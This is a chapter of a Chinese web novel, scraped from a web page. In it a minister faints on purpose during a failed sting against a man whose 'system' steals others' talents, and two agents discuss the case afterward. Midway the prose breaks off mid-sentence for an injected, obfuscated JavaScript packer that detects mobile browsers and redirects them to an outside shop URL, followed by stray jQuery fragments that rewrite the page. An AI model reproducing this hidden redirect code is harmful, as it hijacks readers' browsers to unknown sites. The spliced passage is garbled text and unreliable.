吴成周端着酒杯，脸上火辣辣的，一半是因为酒意，另一半，则是为了自己扔到地上的自尊。


    他已经很多年没有这样求过人了。求人是一个很艰难的过程，因为你永远不知道你祈求的人下一句要说什么。一句话就能把你打入天堂，一句话就能把你打入地狱。


    他曾经就是那个求人的角色，端着一杯酒，卑躬屈膝的辗转在各个缝隙里，缝隙里是没有风的，人站在中间，是喘不过气来的。


    后来他靠着抱大腿，一路往上爬，终于成了被敬酒的那个人。但他感觉自己的腰杆一直是弯的，对着那些出身比他好的人，他总有一种说不出来的自卑感。


    今天面对刘部长的时候，那种自卑再次涌了上来，让他不自觉的开始加重语气：“咱们也算是几十年的交情了。老同事不会一点面子都不给我吧？”


    见刘部长一时间没有答话，那种心底的耻辱感更强，话语间也更加咄咄逼人起来：“还是说，你压根看不很上我这个副局长？”


    刘部长被这话说的也有些酒意上头，便大手一挥：“这是哪里的话！咱们可不就是一家人！你闺女就是我侄女，你尽管让她来，有任何事，我都……”


    话音未落，包间的房门突然被人推开了。一个西装革履的青年拿着瓶酒走了进来，朗声笑到：“我是不是打扰了各位雅兴啊！”


    对！你很打扰！


    吴成周眼见着到手的承诺跑了，面露不悦：“这是谁家的人，这么不懂事？”


    刘部长也皱眉转头去看，正好和来人对上了视线，那人便眼光一亮，三步并作两步，冲上前来，一把握住了刘部长的手：“真的是好久不见了！刘部长，您还记得我吗？”


    吴成周被这人一屁股顶到旁边，简直要气笑了，定睛一看，更是想骂人——进来的不是别人，正是之前坏了他好事的柏辰！


    柏辰像是完全看不到他一样，抓着刘部长的手一直在不住的套近乎，眼神里面激情四射，吴成周甚至怀疑他会不会说上头了给刘部长磕一个。


    刘部长也是这么想的，柏辰长得算是一表人才，他一开始看着也满是顺眼，所以之前送玉的时候就半推半就的接下来了，想着是个不错的礼物，大不了之后找机会把人情换了。可没想到玉是骗来的，更没想到，柏辰现在变成了这么个模样！


    眼瞅着柏辰抓住他的手越来越紧，他赶紧呼唤起身边的朋友帮忙，朋友瞥了一眼，有点惊奇地道：“还得是你啊老刘！在哪儿都有人上赶着敬酒，敬的还是柏图斯！”


    柏图斯！刘部长脑门青筋都出来了，二十五万，哪里是来敬酒的，分明是来祭奠的啊，这是想让自己死啊！


    他忍无可忍的加大力气。同时脑海里冒出一个念头来：他今天真的是来“钓鱼”的吗？


    该不会，他才被钓的那条鱼吧？


    念头一出，他身体都有些僵硬了，也顾不上之前季莲的嘱咐，干脆后退几步，把椅子碰翻了都不管，势必要把自己的手臂挣脱出来。但也就是这个时候，柏辰的眼里突然略过了一道诡异的光！


    那道光几乎有着摄人心魄的魅力，刘部长只看了一眼，就再也挪不动步子，也使不上任何劲来。他呆呆地看着柏辰的脸离自己越来越近，看着那双眼里面自己的倒影越来越清晰……


    时间在这一刻被无限放大了，在他不知道的角落里，很多人屏住了呼吸，一秒、两秒……八秒，九秒！


    就在那道光即将从柏辰的眼里转移到他的眼睛里面时，一个人从旁边挤了上来，用愤怒的声音质问：“你没完了是吧！你实在是太过分了！”


    “谁告诉你我们在这里聚会的！你是不是在跟踪我或者刘部长！”吴成周到底是农民出身，手劲不是一般的大，一下子就将紧紧相贴的两个人分开了！


    刘部长只感觉后脑一痛，然后什么东西似乎从柏辰的眼睛里面流淌了过去，水波纹状的起伏在他的视野里一晃，随后世界才重新有了实感。他捂着脑袋，跌跌撞撞地退后，听着吴成周的骂声渐渐清晰：“……我们只是朋友之间的聚会，你带这么一瓶价格高昂的酒过来干什么？是不是想害我们？”


    吴成周制指着柏辰的鼻子骂道：“我告诉你，少打那些有的没的的歪心思，有本事你就好好经营，不要老想着过来攀关系！”


    柏辰没有说话，然后捂着眼睛蹲下了。刘部长一看他狠辣的神情就知道今天的事完蛋了。他背过身去，面对着墙紧急联系门外等候的季莲，让她们千万不要进来，然后捂脑袋开始小声呻吟：“我的头，谁扶我一把……我好像看不到了……”


    说着他就踉跄几步，走到门边，一头栽了下去。


    他这一晕，房间里面的混乱局面霎时一静，都慌乱的争先恐后的扑了上去。所有人的脸上都写着同样的字：你可不能出事啊！


    吴成周往前扑的时候还被绊了一下，险些没把刘部长给踩死；地上的刘部长听到耳旁风声，心底重重一跳，用尽了毕生力气才控制住自己的面部表情，一直到被抬走，上了救护车，听到熟悉的女生才睁眼：“行了，没外人，起来吧。”


    季莲轻轻皱眉，看着他道：“没伤着吧？”


    刘部长心有余悸：“没事，就是人有点多，一时间被挤到了都不知道该不该有表情。”


    季苒从前排探头：“哎，这个你就不懂了吧，一个失去意识的人，要是浅昏迷，很有可能出现肢体回避或者痛苦抽搐的，因为神经中枢是有反应的，你看你刚刚哆嗦的那几下就很好啊。”


    刘部长苦笑一声：“我那是冷的，实在是没控制住。”


    临近冬日，夜晚的气温已经快到个位数了，他在包间里面就穿着个衬衣，被抬出来的一瞬间牙齿都忍住不住打颤。他摸了把不存在的汗：“这次算是搞砸了，但是我看柏辰似乎没有察觉到不对劲，我们是不是可以再来一次？”


    “怎么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387045|186537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    再来？”


    “他一直想约我出来吃饭，但是被我拒绝了。”刘部长也没想到第一次跟这个传说中的部门合作，做出了大岔子，“这次我晕倒，他八成会以此为理由再次请客赔礼道歉，不然我就答应下来……？”


    季苒摇头：“再来一次也没什么用了。一般来说，那个东西转移是需要能量和时间的，再加上它很谨慎，短期内应该是不会再次出手了。”


    刘部长点点头：“这次是我没有准备好。老吴这个人爱钻空子，但是心还是不坏的。我没想到……”


    他说这话是怕季莲他们追究吴成周的责任，季莲淡淡看了他一眼，季苒吐槽到：“他心不坏？他心不坏当年能干出把孤儿寡母扔到乡下，一分钱不给就离婚的事来？那你说什么叫坏？”


    孤儿寡母不是这么用的，刘部长暗暗道，却也不吭声了。救护车停在了他家附近，刘部长披着个床单就自己回家了，季苒也不知道哪里来的空间，在那么小的一块地方上还翘着二郎腿：“你说这次没搞定，下一次又得是什么时候了？”


    “能有这么一次机会已经是难得了，”季莲垂着头，刘海盖住了她的眼睛，她的眼神晦暗不明，只剩下轻柔的声音在幽幽回荡，“那家伙警惕心太强。我们抓了这么久都没有见过几次它真正动手，我们甚至连它的能力范围都没有摸清楚……算了，暂时不要把衷心放到它身上了。”


    “这话你去跟老大说去，”季苒烦躁地掏出烟，一抬头看见救护车的标志又塞了回去，皱眉到，“老大十多年前就在这家伙上面吃了亏，一直心心念念想要逮住它，现在好不容易有了线头，你说走就走，他能同意？”


    “他不同意我就换组。”


    “你别，哎呀。”季苒被她这个犟脾气整的没法说，“你这样，你先说，说不通的话你也别急着要转组，大不了就磨洋工呗。你别跟老大再吵起来，知道不？”


    季莲没有说话了。她的精力好像在今天下午的蹲守里消耗殆尽了，季苒也见惯了她这想一出是一出的模样，默默地示意司机开车，走到半路上，季莲突然出声：“停车！”


    司机受惊，下意识踩了急刹车，季苒骂道：“你又干什么？”


    季莲：“今天的事不对！”


    “什么？”季苒懵圈。


    “姓柏的非要挑选今天转移所谓的‘天赋’，说明他对这种事情并不熟练，要是有经验的话他完全可以挑一个尽量僻静没人的地方，被打断的风险会小很多，这说明什么？说明他得到这个系统并没有多长时间！”季莲细细分析。


    季苒还在疑惑：“那怎么了？”


    “那就说不通了——要是系统之前不在他身上，那些有关柏家的事情是谁做的？肯定也是一个跟柏家有关的人做的，那系统又为什么要从一个柏家人身上转移到转移到另一个人身上呢?”


    “通过近似任务获取的能量会打折扣，系统自己会不知道吗？”